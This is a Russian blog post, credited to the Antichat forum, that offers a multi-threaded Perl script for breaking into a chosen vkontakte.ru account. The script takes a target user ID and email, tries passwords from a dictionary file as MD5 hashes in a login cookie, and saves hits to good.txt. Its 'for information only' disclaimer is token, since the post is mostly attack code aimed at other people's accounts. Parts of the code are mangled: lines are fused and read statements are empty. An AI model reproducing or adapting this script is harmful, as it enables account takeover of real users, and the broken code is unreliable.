Взлом аккаунта vkontakte

Сегодня добавлю код для взлома аккаунта вконтакте. Поможет только людям разбирающимся в perl и просто системщикам и вебмастерам, ну и самоучкам всяким.

Скрипт представляется для информационного ознакомления, изучения: скриптов написанных на perl и защиты сайта вконтакте; использование этого скрипта только на ваш страх и риск. Автор блога не несет ответственности за его использование.

Скрипт работает просто, используется простой bruteforce (перебор вариантов), в этом скрипте перебор паролей, которые расположены в файле. Человек с руками может сделать из этого скрипта более модифицированный вариант.

Так, что ловите.

#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;
######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = \'passl.txt\'; #словарь паролей
$id = 111111; #id цели
$mail = \'mail%40mail.com\'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
######################################

open (pass, \"create(\\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>\'tcp\',PeerAddr=>\'vkontakte.ru\',PeerPort=>80);
print $sock \"HEAD http://vkontakte.ru/ HTTP/1.0\\r\\n\".
\"Host: vkontakte.ru\\r\\n\".
\"Accept: */*\\r\\n\".
\"Content-Type: application/x-www-form-urlencoded\\r\\n\".
\"User-Agent: Mozillo\\r\\n\".
\"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\\r\\n\".
\"Connection: close\\r\\n\\r\\n\";
$answ = ;
close $sock;
print \"$pass $answ\";
if ($answ =~ /302/){
open (good, \'>>good.txt\');
print good \"$id:$pass:$md5\\n\";
print \"$id:$pass:$md5\\n\";
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (
){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}

Источник - форум Античата.ру